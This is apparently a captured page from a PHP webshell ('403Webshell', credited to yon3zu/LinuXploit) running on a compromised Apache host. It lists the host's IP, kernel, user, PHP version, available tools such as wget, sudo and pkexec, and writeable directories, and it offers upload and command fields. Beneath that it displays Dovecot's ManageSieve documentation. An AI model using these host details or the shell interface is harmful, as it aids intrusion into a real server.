403Webshell
Server IP : 45.40.142.9  /  Your IP : 216.73.216.250
Web Server : Apache
System : Linux s45-40-142-9.secureserver.net 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : bayspec ( 506)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/dovecot-2.3.10.1/wiki/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/dovecot-2.3.10.1/wiki/Pigeonhole.ManageSieve.txt
Pigeonhole ManageSieve Server
=============================

The <Pigeonhole project> [Pigeonhole.txt] provides Sieve [http://sieve.info]
support for Dovecot, which allows users to filter incoming messages by writing
scripts specified in the Sieve language (RFC 5228). The PigeonholeManageSieve
service is used to manage a user's Sieve script collection. It has the
following advantages over doing it directly via filesystem:

 * No need to let users log in via FTP/SFTP/etc, which could be difficult
   especially with virtual users.
 * ManageSieve is a standard protocol [http://tools.ietf.org/html/rfc5804], so
   users can manage their scripts using (hopefully) user-friendlyManageSieve
   clients. Many webmails already include aManageSieve client.
 * Scripts are compiled before they are installed, which guarantees that the
   uploaded script is valid. This prevents a user from inadvertently installing
   a broken Sieve script.

Configuration and Use
---------------------

 * <Download and Installation> [Pigeonhole.Installation.txt]
 * <Configuration> [Pigeonhole.ManageSieve.Configuration.txt]
 * <Troubleshooting> [Pigeonhole.ManageSieve.Troubleshooting.txt]
 * <Client Issues> [Pigeonhole.ManageSieve.Clients.txt]

(This file was created from the wiki on 2019-06-19 12:42)

Youez - 2016 - github.com/yon3zu
LinuXploit